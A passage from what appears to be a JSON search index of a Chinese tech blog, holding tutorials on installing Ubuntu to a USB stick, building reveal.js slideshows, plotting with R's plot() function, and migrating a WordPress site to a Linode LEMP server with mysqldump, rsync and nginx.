14\n等待安裝完成。\nStep 15\n安裝完成之後，如果幸運的話，就可以用 32GB 的隨身碟開機進系統了。\n但是如果運氣不好，很可能就會開不了機，這時候可以嘗試使用安裝用 8GB 隨身碟開機再進入到 Live 系統，並將 32GB 的隨身碟插進去，掛載之後，去修正 grub 的設定。\n首先可以嘗試將 grub 安裝在不同的磁區，假設 32GB 隨身碟掛載在 /media/ubuntu-mate/c89b3177-5975-42cc-b29c-5c193ac17f5c，我們可以透過下面這個指令重新安裝 grub 開機程式到 /dev/sdc：\n# 重新安裝 grub 開機程式到 /dev/sdc grub-install --boot-directory=/media/ubuntu-mate/c89b3177-5975-42cc-b29c-5c193ac17f5c/boot /dev/sdc 另外，如果在安裝階段時，安裝用的 8GB 隨身碟不是系統上的最後一顆，例如 32GB 的隨身碟是 /dev/sdc，而 8GB 的隨身碟是 /dev/sdb，那麼在安裝完成之後，將 8GB 的隨身碟拔掉，使用 32GB 的隨身碟開機時，系統的硬碟編號就會改變，正常來說原本 32GB 隨身碟的 /dev/sdc 就會變成 /dev/sdb，但是 grub 的設定檔在安裝時就已經寫死了，所以就會造成重新開機之後，系統找不到 /dev/sdc，就開不了機了。\n這個問題是很煩人的問題，比較簡單的補救方式就是在掛載 32GB 的隨身碟之後，去修改上面的 boot/grub/grub.cfg，將裡面的 root 相關設定修改一下，以我的狀況來說，我是將所有的 hd2 取代成 hd1，這樣就可以順利進到系統了。\n參考資料 Ubuntu Community Help Wiki ","permalink":"https://blog.gtwang.org/linux/install-ubuntu-linux-to-usb-stick/","summary":"\u003cp\u003e這裡以 Ubuntu MATE 為例，示範如何將 Ubuntu Linux 安裝在 USB 隨身碟中，完全不影響原本電腦中的作業系統。\u003c/p\u003e\n\u003cp\u003e有些人會想要在既有的電腦上安裝 Linux 系統，但是又不想隨意變動原本的 Windows 作業系統與硬碟上的資料，除了儲存空間的考量之外，也會擔心萬一以後不用 Linux 的時候，要改回來會非常麻煩（其實更擔心改不回來）。\u003c/p\u003e","title":"將 Ubuntu Linux 安裝在 USB 隨身碟中的步驟教學"},{"content":"reveal.js 是一個使用網頁製作簡報的 HTML5 架構，讓您隨時隨地上網即可播放簡報。\n製作簡報大家通常都會使用 Office 的 PowerPoint，而現在您有另外一種選擇，就是使用網頁來製作簡報，reveal.js 是一個專門用來製作高品質網頁簡報的 HTML5 架構，使用它來製作的簡報非常漂亮，功能也很強大，品質不會輸 PowerPoint，而且完全免費，\n若使用 reveal.js 製作簡報，只要將簡報網頁放在網路上，不管是 Windows、Mac OS X、Linux 的系統，甚至各種手機，只要是可以看網頁的設備都可以直接打開簡報觀看；如果放在自己的電腦或是隨身碟中，也可以像一般簡報檔一樣撥放，使用上很彈性。\n基本簡報 以下是使用 reveal.js 製作簡報的步驟教學。\nStep 1\n從 reveal.js 的 GitHub 網站上下載最新的 reveal.js zip 壓縮檔，並解壓縮。\nStep 2\n解壓縮之後，可以看到一個 reveal.js-master 目錄，這個目錄中有非常多的檔案，其中有很多是專案開發者才會使用到的，如果只是拿來製作簡報的一般使用者，只會需要 css、js、lib 與 plugin 這四個目錄，我們可以另外新建一個製作自己簡報用的目錄，把以上這四個目錄複製過來，就可以開始製作簡報了。\nStep 3\n使用 reveal.js 製作的簡報事實上就是一張普通的網頁，以下是一個三頁的簡報範例，第一頁是封面，第二頁是簡單的文字超連結，而第三頁我放了一段 C++ 的程式碼。請將這個範例儲存成 demo.html，放進剛剛新建的目錄中：\n\u0026lt;!doctype html\u0026gt; \u0026lt;html lang=lang=\u0026#34;zh-TW\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;utf-8\u0026#34;\u0026gt; \u0026lt;title\u0026gt;Reveal.js 簡報示範\u0026lt;/title\u0026gt; \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;css/reveal.css\u0026#34;\u0026gt; \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;css/theme/beige.css\u0026#34; id=\u0026#34;theme\u0026#34;\u0026gt; \u0026lt;!-- Code syntax highlighting --\u0026gt; \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;lib/css/zenburn.css\u0026#34;\u0026gt; \u0026lt;!--Add support for earlier versions of Internet Explorer --\u0026gt; \u0026lt;!--[if lt IE 9]\u0026gt; \u0026lt;script src=\u0026#34;lib/js/html5shiv.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;![endif]--\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;!-- 使用 reveal 與 slides 的 div 將整個簡報包起來 --\u0026gt; \u0026lt;div class=\u0026#34;reveal\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;slides\u0026#34;\u0026gt; \u0026lt;!-- 簡報內容開始 --\u0026gt; \u0026lt;!-- 一個 section 表示一頁簡報 --\u0026gt; \u0026lt;section\u0026gt; \u0026lt;h1\u0026gt;G.T.Wang\u0026lt;/h1\u0026gt; \u0026lt;p\u0026gt;這是 G.T.Wang 的示範簡報\u0026lt;/p\u0026gt; \u0026lt;/section\u0026gt; \u0026lt;!-- 第二頁簡報 --\u0026gt; \u0026lt;section id=\u0026#34;show-a-link\u0026#34;\u0026gt; \u0026lt;h2\u0026gt;連結示範\u0026lt;/h2\u0026gt; \u0026lt;p\u0026gt;這是一個\u0026lt;a href=\u0026#34;http://blog.gtwang.org/\u0026#34;\u0026gt;測試連結\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;/section\u0026gt; \u0026lt;!-- 第三頁簡報 --\u0026gt; \u0026lt;section\u0026gt; \u0026lt;h2\u0026gt;這是程式碼\u0026lt;/h2\u0026gt; \u0026lt;pre\u0026gt;\u0026lt;code class=\u0026#34;hljs cpp\u0026#34; data-trim contenteditable\u0026gt; #include \u0026amp;lt;iostream\u0026amp;gt; #define IABS(x) ((x) \u0026amp;lt; 0 ? -(x) : (x)) int main(int argc, char *argv[]) { /* An annoying \u0026amp;quot;Hello World\u0026amp;quot; example */ for (auto i = 0; i \u0026amp;lt; 0xFFFF; i++) cout \u0026amp;lt;\u0026amp;lt; \u0026amp;quot;Hello, World!\u0026amp;quot; \u0026amp;lt;\u0026amp;lt; endl; return -2e3 + 12l; } \u0026lt;/code\u0026gt;\u0026lt;/pre\u0026gt; \u0026lt;/section\u0026gt; \u0026lt;!-- 簡報內容結束 --\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script src=\u0026#34;lib/js/head.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;js/reveal.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt; // 啟用 reveal.js Reveal.initialize({ controls: true, progress: true, history: true, center: true, transition: \u0026#39;slide\u0026#39;, // none/fade/slide/convex/concave/zoom // 加入一些 reveal.js 的外掛 dependencies: [ { src: \u0026#39;plugin/highlight/highlight.js\u0026#39;, async: true, condition: function() { return !!document.querySelector( \u0026#39;pre code\u0026#39; ); }, callback: function() { hljs.initHighlightingOnLoad(); } } ] }); \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 每一個 \u0026lt;section\u0026gt; 代表一頁，我們可以使用一般的 HTML/CSS/JavaScript 語法撰寫簡報內容，第三頁的程式碼我們是靠 highlight.js 這個外掛工具，讓程式碼依據程式的語法顯示顏色。\ntransition 這個參數可以設定簡報換頁的特效，可以使用的選項有 none、fade、slide、convex、concave 與 zoom。\ncss/theme/beige.css 是簡報的佈景主題 CSS 檔，我們可以自己更換，可用的佈景主題 CSS 檔可以從 css/theme 這個目錄中瀏覽。\n接著用瀏覽器打開這個網頁黨，就可以看到製作出來的簡報：\n在報告當中若要快速切換頁面，可以按下鍵盤的 Esc 健，顯示簡報的縮圖，這樣就可以快速瀏覽並且選擇簡報頁面。\n使用 Markdown 語法 如果不喜歡 HTML 的一大堆標籤，reveal.js 也可以使用 Markdown 的語法來編寫簡報，首先加上 Markdown 的外掛：\ndependencies: [ { src: \u0026#39;plugin/markdown/marked.js\u0026#39;, condition: function() { return !!document.querySelector( \u0026#39;[data-markdown]\u0026#39; ); } }, { src: \u0026#39;plugin/markdown/markdown.js\u0026#39;, condition: function() { return !!document.querySelector( \u0026#39;[data-markdown]\u0026#39; ); } } ] 接就可以使用 Markdown 的語法了：\n\u0026lt;section data-markdown\u0026gt; \u0026lt;script type=\u0026#34;text/template\u0026#34;\u0026gt; ## 使用 Markdown 語法 用 Markdown 寫簡報更簡單！ 語法教學請參考 [Markdown 文件](http://markdown.tw/). \u0026lt;/script\u0026gt; \u0026lt;/section\u0026gt; 這樣寫起簡報來會更簡潔，製作出來的簡報畫面一樣很漂亮：\n分段顯示 分段顯示是簡報上常用的呈現方式，讓簡報一開始不要顯示全部的內容，讓內容隨著講者的陳述依序顯示出來，以下是一個範例。\n\u0026lt;section\u0026gt; \u0026lt;h2\u0026gt;分段顯示\u0026lt;/h2\u0026gt; \u0026lt;p\u0026gt;請繼續...\u0026lt;/p\u0026gt; \u0026lt;p class=\u0026#34;fragment\u0026#34;\u0026gt;... 顯示 ...\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt; \u0026lt;span class=\u0026#34;fragment\u0026#34;\u0026gt;下一個 ...\u0026lt;/span\u0026gt; \u0026lt;span class=\u0026#34;fragment\u0026#34;\u0026gt;項目\u0026lt;/span\u0026gt; \u0026lt;/p\u0026gt; \u0026lt;/section\u0026gt; 這樣簡報的內容就可以隨的講者的控制依序出現：\n圖形與表格 圖形與表格的加入就跟一般的網頁一樣，只要使用普通的 HTML 語法即可。這是加入圖形的範例：\n\u0026lt;section\u0026gt; \u0026lt;h2\u0026gt;圖形\u0026lt;/h2\u0026gt; \u0026lt;img data-src=\u0026#34;gtwang-logo.png\u0026#34; /\u0026gt; \u0026lt;/section\u0026gt; 加入圖形的簡報畫面：\n這是加入表格的範例：\n\u0026lt;section\u0026gt; \u0026lt;h2\u0026gt;表格\u0026lt;/h2\u0026gt; \u0026lt;table\u0026gt; \u0026lt;thead\u0026gt; \u0026lt;tr\u0026gt; \u0026lt;th\u0026gt;Item\u0026lt;/th\u0026gt; \u0026lt;th\u0026gt;Value\u0026lt;/th\u0026gt; \u0026lt;th\u0026gt;Quantity\u0026lt;/th\u0026gt; \u0026lt;/tr\u0026gt; \u0026lt;/thead\u0026gt; \u0026lt;tbody\u0026gt; \u0026lt;tr\u0026gt; \u0026lt;td\u0026gt;Apples\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;$1\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;7\u0026lt;/td\u0026gt; \u0026lt;/tr\u0026gt; \u0026lt;tr\u0026gt; \u0026lt;td\u0026gt;Lemonade\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;$2\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;18\u0026lt;/td\u0026gt; \u0026lt;/tr\u0026gt; \u0026lt;tr\u0026gt; \u0026lt;td\u0026gt;Bread\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;$3\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;2\u0026lt;/td\u0026gt; \u0026lt;/tr\u0026gt; \u0026lt;/tbody\u0026gt; \u0026lt;/table\u0026gt; \u0026lt;/section\u0026gt; 加入表格的簡報畫面：\n以上是 reveal.js 基本的介紹，其實它的功能還不只如此，詳細的說明可以參考 reveal.js 的 GitHub 網頁。\n","permalink":"https://blog.gtwang.org/useful-tools/reveal-js-presentation-html5-framework/","summary":"\u003cp\u003ereveal.js 是一個使用網頁製作簡報的 HTML5 架構，讓您隨時隨地上網即可播放簡報。\u003c/p\u003e\n\u003cp\u003e製作簡報大家通常都會使用 Office 的 PowerPoint，而現在您有另外一種選擇，就是使用網頁來製作簡報，reveal.js 是一個專門用來製作高品質網頁簡報的 HTML5 架構，使用它來製作的簡報非常漂亮，功能也很強大，品質不會輸 PowerPoint，而且完全免費，\u003c/p\u003e","title":"reveal.js：用網頁製作簡報的 HTML5 架構"},{"content":"這裡介紹 R 的一些基本繪圖函數使用方式。\nplot 函數 這裡我們繼續採用 vegetation 的資料來做示範，這個資料是黃石國家公園（Yellowstone National Park）與 National Bison Range 所觀測到的草原生態資料，研究的目的在於觀察這裡的生物多樣性是否有隨著時間而改變。首先讀取\nVeg \u0026lt;- read.table(file = \u0026#34;Vegetation2.txt\u0026#34;, header = TRUE) 如果我們想要畫出物種豐富度（Veg$R）與外露泥土（Veg$BARESOIL）的關係分布圖，可以執行：\nplot(Veg$BARESOIL, Veg$R) 畫出來的圖會像這樣\nplot 函數的第一個參數是指定橫軸的資料，而第二個參數則是指定縱軸的資料，通常我們會習慣將反應變數（response variable）設定為縱軸，而解釋變數（explanatory variable）設定為橫軸。這裡要注意一點，在 R 中有許多函數在指定模型時，反應變數會寫在前面，接著才是解釋變數，如果怕混淆，可以使用具名參數的寫法：\nplot (x = Veg$BARESOIL, y = Veg$R) plot 也可以使用 data 參數指定資料來源的 data frame，但是他的用法會有些不同：\nplot (R ~ BARESOIL, data = Veg) 我們可以利用 plot 所提供的各種參數設定座標軸的名稱、繪圖區間等等資訊：\nplot (x = Veg$BARESOIL, y = Veg$R, xlab = \u0026#34;Exposed soil\u0026#34;, ylab = \u0026#34;Species richness\u0026#34;, main = \u0026#34;Scatter plot\u0026#34;, xlim = c(0, 45), ylim = c(4, 19)) xlab 與 ylab 是指定 x 軸與 y 軸的\n畫出的圖形為\n我們也可以用這樣的方式自動指定繪圖的區間：\nxlim = c(min(Veg$BARESOIL), max(Veg$BARESOIL)) 如果資料中存在有缺失值，記得要加上 na.rm = TRUE：\nxlim = c(min(Veg$BARESOIL, na.rm = TRUE), max(Veg$BARESOIL, na.rm = TRUE)) 資料點的符號、顏色與大小 在畫圖時最常見的需求就是依據不同的資料，指定資料點的符號、顏色與大小，以下介紹一些基本的使用方式。\n資料點符號 plot 預設會使用圓圈來標示資料點，我們可以透過 pch 參數來使用不同的資料點符號，可用的符號如下：\n假設要將符號設定為實心的圓點（編號 16），可以執行：\nplot(x = Veg$BARESOIL, y = Veg$R, xlab = \u0026#34;Exposed soil\u0026#34;, ylab = \u0026#34;Species richness\u0026#34;, main = \u0026#34;Scatter plot\u0026#34;, xlim = c(0, 45), ylim = c(4, 19), pch = 16) vegetation 的資料是從 8 個斷面（transect）中所蒐集到的，如果我們想在圖形上區分出不同斷面的資料分佈，我們可以將 pch 直接指定為斷面的編號，這樣就可以用不同的符號表示不同的斷面，首先先檢查一下斷面的實際資料：\nVeg$Transect 輸出為\n[1] 1 1 1 1 1 1 1 2 2 2 2 2 2 2 3 3 3 3 3 [20] 3 3 3 4 4 4 4 4 4 4 4 5 5 5 5 5 5 5 5 [39] 6 6 6 6 6 6 6 6 7 7 7 7 7 7 8 8 8 8 8 [58] 8 由於斷面的資料剛好是從 1 到 8 的數字，而這些數字也都有對應到 pch 的符號，所以可以不需要做額外的轉換，直接就可以指定給 pch：\nplot(x = Veg$BARESOIL, y = Veg$R, xlab = \u0026#34;Exposed soil\u0026#34;, ylab = \u0026#34;Species richness\u0026#34;, main = \u0026#34;Scatter plot\u0026#34;, xlim = c(0, 45), ylim = c(4, 19), pch = Veg$Transect) 畫出的圖形為\n這種用資料的數值來指定 pch 的方式有一些地方要注意：\n如果 Veg$Transect 的數值是從 0 開始編號的話（0、1、2、⋯⋯），就不能直接將 Veg$Transect 指定給 pch，否則所有編號為 0 的資料會畫不出來。 如果 Veg$Transect 的資料長度跟 Veg$BARESOIL 與 Veg$R 不同的話，會造成畫出來的資料點符號錯誤。假設 Veg$Transect 的資料長度，R 會在資料長度不夠時，自動重複使用 Veg$Transect 的資料，而在我們這個例子中，所有變數的資料長度都相同，所以沒有這樣的問題。 pch 只能接受整數的資料，如果指定為 factor 的話，會出現錯誤。 如果我們需要依照資料的年份來指定資料點符號的話，步驟就會比較複雜，因為一般的年份（例如 1967）沒有剛好對應的 pch 數值，所以還要另外在建立一個數值向量來指定資料點符號。\n假設我們要將資料依據年份（Veg$Time）來區分，把 1974 年以前的資料跟 1974 年以後的資料分開，分別用編號 1 與 16 的符號來表示資料點，則操作步驟如下：\nVeg$Time2 \u0026lt;- Veg$Time Veg$Time2 [Veg$Time \u0026lt;= 1974] \u0026lt;- 1 Veg$Time2 [Veg$Time \u0026gt; 1974] \u0026lt;- 16 Veg$Time2 輸出為\n[1] 1 1 1 1 16 16 16 1 1 1 1 16 16 [14] 16 1 1 1 1 16 16 16 16 1 1 1 1 [27] 16 16 16 16 1 1 1 1 16 16 16 16 1 [40] 1 1 1 16 16 16 16 1 1 1 16 16 16 [53] 1 1 1 16 16 16 這裡先建立一個 Veg$Time 向量，其內容就是每一筆資料所對應的 pch 值，接著就可以使用這個向量來指定資料點的符號：\nplot(x = Veg$BARESOIL, y = Veg$R, xlab = \u0026#34;Exposed soil\u0026#34;, ylab = \u0026#34;Species richness\u0026#34;, main = \u0026#34;Scatter plot\u0026#34;, xlim = c(0, 45), ylim = c(4, 19), pch = Veg$Time2) 畫出來的圖形為\n關於 pch 的詳細說明，可以參考 points 線上手冊：\n?points 資料點顏色 使用不同的顏色來表示不同的資料也是常見的繪圖方式，資料點的顏色是用 col 參數來指定的：\nplot(x = Veg$BARESOIL, y = Veg$R, xlab = \u0026#34;Exposed soil\u0026#34;, ylab = \u0026#34;Species richness\u0026#34;, main = \u0026#34;Scatter plot\u0026#34;, xlim = c(0, 45), ylim = c(4, 19), col = 2) 畫出來的圖形為\ncol 指定的整數會透過 palette 對應到實際使用的顏色，我們可以執行 palette 查看目前的顏色對應：\npalette() 預設的輸出為\n[1] \"black\" \"red\" \"green3\" \"blue\" [5] \"cyan\" \"magenta\" \"yellow\" \"gray\" 編號 1 對應到的顏色是黑色，編號 2 則是紅色，以此類推。另外 col 還可以使用很多種方式指定顏色，詳細說明請參考 par 的線上手冊。\ncol 跟 pch 的使用方式類似，也都可以靠著向量的方式指定個別資料點的顏色，假設我們要將 1974 年以前的資料用黑色實心的方塊表示，而其餘的資料則用紅色實心的圓圈表示，可以這樣做：\nVeg$Time2 \u0026lt;- Veg$Time Veg$Time2 [Veg$Time \u0026lt;= 1974] \u0026lt;- 15 Veg$Time2 [Veg$Time \u0026gt; 1974] \u0026lt;- 16 Veg$Col2 \u0026lt;- Veg$Time Veg$Col2 [Veg$Time \u0026lt;= 1974] \u0026lt;- 1 Veg$Col2 [Veg$Time \u0026gt; 1974] \u0026lt;- 2 plot(x = Veg$BARESOIL, y = Veg$R, xlab = \u0026#34;Exposed soil\u0026#34;, ylab = \u0026#34;Species richness\u0026#34;, main = \u0026#34;Scatter plot\u0026#34;, xlim = c(0, 45), ylim = c(4, 19), pch = Veg$Time2, col = Veg$Col2) 畫出來的圖形為\n資料點大小 圖形中資料點的大小可以使用 cex 參數來指定，其預設值是 1，若指定為 2.5 的話，所有的資料點就會變成原來的 2.5 倍大：\nplot(x = Veg$BARESOIL, y = Veg$R, xlab = \u0026#34;Exposed soil\u0026#34;, ylab = \u0026#34;Species richness\u0026#34;, main = \u0026#34;Scatter plot\u0026#34;, xlim = c(0, 45), ylim = c(4, 19), pch = 16, cex = 2.5) 畫出來的圖形為\ncex 同樣也可以使用向量的方式指定個別的資料點：\nVeg$Cex2 \u0026lt;- Veg$Time Veg$Cex2[Veg$Time == 2002] \u0026lt;- 2 Veg$Cex2[Veg$Time != 2002] \u0026lt;- 1 plot(x = Veg$BARESOIL, y = Veg$R, xlab = \u0026#34;Exposed soil\u0026#34;, ylab = \u0026#34;Species richness\u0026#34;, main = \u0026#34;Scatter plot\u0026#34;, xlim = c(0, 45), ylim = c(4, 19), pch = 16, cex = Veg$Cex2) 畫出來的圖形為\n平滑曲線 在上面的圖形中，由於整個資料沒有很明顯的趨勢，這時候可以利用 loess 配適一條平滑曲線，幫助我們更容易抓出整個資料大概的走勢：\nplot(x = Veg$BARESOIL, y = Veg$R, xlab = \u0026#34;Exposed soil\u0026#34;, ylab = \u0026#34;Species richness\u0026#34;, main = \u0026#34;Scatter plot\u0026#34;, xlim = c(0, 45), ylim = c(4, 19)) M.Loess \u0026lt;- loess(R ~ BARESOIL, data = Veg) Fit \u0026lt;- fitted(M.Loess) Ord1 \u0026lt;- order(Veg$BARESOIL) lines(Veg$BARESOIL[Ord1], Fit[Ord1], lwd = 3, lty = 2) 練習題 Amphibian_road_Kills.xls 是兩棲動物在葡萄牙馬路上的死亡資料，TOT.N 是該觀測點動物的死亡數，而 OLIVE 是橄欖樹的數量，D.PARK 則是觀測點到最近的自然公園之間的距離。\n請將 Amphibian_road_Kills.xls 的資料讀入 R，並且依序進行下列動作：\n畫出 TOT.N 與 D.PARK 的關係圖，並加入適當的文字標示。 使用資料點的大小來表示 OLIVE 的數量。 加入平滑曲線。 總覽 下面這張表是本篇所介紹過的 R 函數總覽。\n函數 說明 範例 plot 畫出 x 與 y 的分佈圖（scatter plot）。 plot (x, y) lines 在圖形中加入線條。 lines (x, y) order 計算資料的排序向量。 order(x) loess LOESS 平滑曲線。 M \u0026lt;- loess (y ~ x) fitted 計算配適值。 fitted (M) ","permalink":"https://blog.gtwang.org/r/r-plot-function/","summary":"\u003cp\u003e這裡介紹 R 的一些基本繪圖函數使用方式。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"plot-函數\"\u003e\u003ccode\u003eplot\u003c/code\u003e 函數\u003c/h2\u003e\n\u003cp\u003e這裡我們繼續採用 vegetation 的資料來做示範，這個資料是黃石國家公園（Yellowstone National Park）與 National Bison Range 所觀測到的草原生態資料，研究的目的在於觀察這裡的生物多樣性是否有隨著時間而改變。首先讀取\u003c/p\u003e","title":"R plot 繪圖函數"},{"content":"本篇是將 WordPress 網站從舊的共享主機轉移至 Linode VPS LEMP 伺服器的過程紀錄。\n前陣子因為舊網站空間的 MySQL 資料庫出問題，所以從 Linode 買了一個新的 VPS 主機空間，安裝並設定好 Ubuntu Linux 系統之後，架設了一個 LEMP 伺服器，接下來就是要將既有的 WordPress 網站搬到新的 VPS 主機空間了。\n在更換主機空間的過程中，從一開始的 Linux 系統安裝到 LEMP 伺服器的各種設定等過程，都可以很輕鬆的來處理，這中間如果不小心出差錯，頂多只是把搞砸的虛擬主機刪掉，重新再裝一次就好了，不會影響到現行網站的運作，但在 LEMP 伺服器安裝好之後，開始轉移 WordPress 網站時，就要十分注意，這個部份如果一不小心沒處理好，就可能會讓網站斷線，直接影響網站的營運！\n以下是 WordPress 網站遷移的步驟。\nStep 1\n首先確定 WordPress 的使用者都已經登出了，不會有人在網站遷移時還在線上編輯文章，或是做任何會更動網站內容的動作。\nStep 2\n將 WordPress 網站從舊的網頁空間中備份出來，因為只是更換網頁空間，網址並沒有更動，這種搬移方式非常單純，只要備份下列兩個部分：\n所有 WordPress 的檔案。 WordPress 所使用的 MySQL 資料庫。 MySQL 資料庫的備份可以使用主機商提供的 phpMyAdmin，或是使用 mysqldump，例如：\nmysqldump --host localhost --opt --user=USERNAME --password=\u0026#39;MYSQL_PASSWORD\u0026#39; DB_NAME | gzip \u0026gt; mysql_backup.sql.gz 而 WordPress 的檔案可以直接使用 FTP 抓取，或是使用 rsync 備份：\nrsync -avz username@old.webhost.com:/path/to/www . 如果新舊主機都可以使用 SSH 登入的話，其實可以直接在新主機上使用 rsync，直接把檔案搬到新主機上，這樣子是最快的。\nStep 3\n設定新主機的 MySQL 資料庫與帳號，我們需要在新的 MySQL 伺服器上新增一個 WordPress 網站專用的 MySQL 資料庫與一個帳號，資料庫與帳號的名稱可以自己任意取，假設要新增一個 blogdb 資料庫與一個本機的 dbuser 使用者，首先用 MySQL 管理者的權限進入資料庫：\nmysql -h localhost -u root -p 接著新增 blogdb 資料庫：\nCREATE DATABASE blogdb; 新增本機的 dbuser 使用者，並且開啟其使用 blogdb 資料庫的權限：\nCREATE USER \u0026#39;dbuser\u0026#39;@\u0026#39;localhost\u0026#39; IDENTIFIED BY \u0026#39;PASSWORD\u0026#39;; GRANT ALL PRIVILEGES ON blogdb.* TO \u0026#39;dbuser\u0026#39;@\u0026#39;localhost\u0026#39;; 由於這裡新增的 dbuser 使用者是專門給 WordPress 用的，平常我們不會用這個帳號登入，所以建議可以使用亂數的方式產生比較複雜的密碼，這樣安全性比較高。\nStep 4\n建立好 WordPress 用的 MySQL 資料庫與使用者之後，就可以將剛剛備份的 WordPress 資料庫倒進去了，我們可以使用 phpMyAdmin 將資料匯入剛剛新建的 blogdb 資料庫，或是使用 mysql 指令匯入：\nzcat mysql_backup.sql.gz | mysql -h localhost -u dbuser -p blogdb 這樣資料庫的部分就完成了。\nStep 5\n將 WordPress 的檔案放置到適當的位置，在 Ubuntu Linux 中大家通常習慣會把網頁資料放在 /var/www 之下，所以我也就直接把 WordPress 的網頁檔案放在這裡，依照網站建立目錄：\nsudo mkdir -p /var/www/blog.gtwang.org 接著就將剛剛從舊空間備份出來 WordPress 檔案放進來這個目錄，或是直接在這裡使用 rsync 將檔案搬過來。搬過來之後，先編輯 wp-config.php 這個設定檔，更新一下資料庫的設定：\ndefine(\u0026#39;DB_NAME\u0026#39;, \u0026#39;blogdb\u0026#39;); define(\u0026#39;DB_USER\u0026#39;, \u0026#39;dbuser\u0026#39;); define(\u0026#39;DB_PASSWORD\u0026#39;, \u0026#39;PASSWORD\u0026#39;); define(\u0026#39;DB_HOST\u0026#39;, \u0026#39;localhost\u0026#39;); 最後還要變更一下檔案的擁有者：\nsudo chown -R www-data:www-data /var/www/blog.gtwang.org Step 6\n變更 nginx 設定，加入新的網站，這部分比較複雜，每一個網站的設定也會不同，基本上可以先從 /etc/nginx/sites-available/default 這個預設的設定檔著手，先複製 default 的設定檔：\nsudo cp /etc/nginx/sites-available/default /etc/nginx/sites-available/blog 接著參考 WordPress 官方的 nginx 建議設定，將適用於自己網站的設定加進來。設定好之後，啟用新的設定檔：\nsudo ln -s /etc/nginx/sites-available/blog /etc/nginx/sites-enabled/blog Step 7\n理論上來說，如果以上各個部分都有處理好的話，網站轉移就已經幾乎完成了，剩下的就是只要修改 DNS 的記錄，讓網址指向新的伺服器就可以了，但是因為轉移網站的過程有非常多小細節（我這裡也沒辦法說明的很詳細），一不小心可能就會疏忽掉，如果沒處理好的話，在 DNS 一修改之後，就有可能會讓網站停擺，尤其是對於那些不是非常熟悉網路與 Linux 技術的管理者。\n為了保險起見，我個人是習慣在修改 DNS 記錄之前，先找一台身邊的 Linux 機器測試一下，將自己身邊 Linux 系統上的 /etc/hosts 加上一行：\n12.34.56.78 blog.gtwang.org 請將其中的 12.34.56.78 以自己的新伺服器 IP 取代，這樣可以讓這台 Linux 在查找我們網站的 IP 時，會直接解析至新的伺服器，對於這一台 Linux 電腦來說，這樣做會跟直接修改 DNS 伺服器上的記錄有一樣的效果。\n修改好 /etc/hosts 之後，接著在這台 Linux 上開啟瀏覽器，看看自己的網站是否可以正常運作，如果開啟網頁、登入等等都沒問題，那就可以放心去修改 DNS 惡記錄了。\nStep 8\n基本上只要細節都有注意到，也有透過修改 /etc/hosts 來測試，整個轉移過程是可以讓網站的營運完全不受影響的，以我這次的網站轉移來說，伺服器的 uptime 還是可以維持在 100%，網站上的訪客完全感受不到任何異樣，唯一的差異可能就是網站突然變快了。\n這張 uptime 的圖是我用 pingdom 的網站監控工具所得到的，這裡的重點是右邊的 uptime 在網站轉移期間，還是可以維持在 100%。而這裡有一點您可能會感覺很奇怪，怎麼更換主機空間之後，伺服器的反應時間馬上增加一倍，效能反而變差？\n這裡反應時間會上升是正常的，主要的原因在於我的舊主機位於美國，新的主機位置在新加坡，而 pingdom 的測試伺服器都位於歐美，因此 pingdom 在 ping 新主機時，會多了往返太平洋的時間。\n很顯然新主機對於歐美的訪客而言，網站速度可能會比較慢，但由於我的網站是中文網站，主要的客群位於東南亞，所以選擇將主機放在新加坡，提升東南亞地區的網站速度，至於歐美的訪客，就暫時用免費的 CDN 來補償。\n參考資料 DigitalOcean ","permalink":"https://blog.gtwang.org/wordpress/migrate-wordpress-to-lemp-server/","summary":"\u003cp\u003e本篇是將 WordPress 網站從舊的共享主機轉移至 Linode VPS LEMP 伺服器的過程紀錄。\u003c/p\u003e\n\u003cp\u003e前陣子因為舊網站空間的 MySQL 資料庫出問題，所以從 \u003ca href=\"https://www.linode.com/lp/refer/?r=5b74c1f208c14942572bb1ba1f0687285c81a6b3\"\u003eLinode\u003c/a\u003e 買了一個新的 \u003ca href=\"/web-hosting/linode-vps-registration-tutorial/\"\u003eVPS 主機空間\u003c/a\u003e，安裝並\u003ca href=\"/web-hosting/linode-vps-ubuntu-linux-setup-for-security/\"\u003e設定好 Ubuntu Linux\u003c/a\u003e 系統之後，架設了一個 \u003ca href=\"/linux/ubuntu-linux-setup-lemp-server/\"\u003eLEMP 伺服器\u003c/a\u003e，接下來就是要將既有的 WordPress 網站搬到新的 VPS 主機空間了。\u003c/p\u003e","title":"將 WordPress 網站轉移至 LEMP 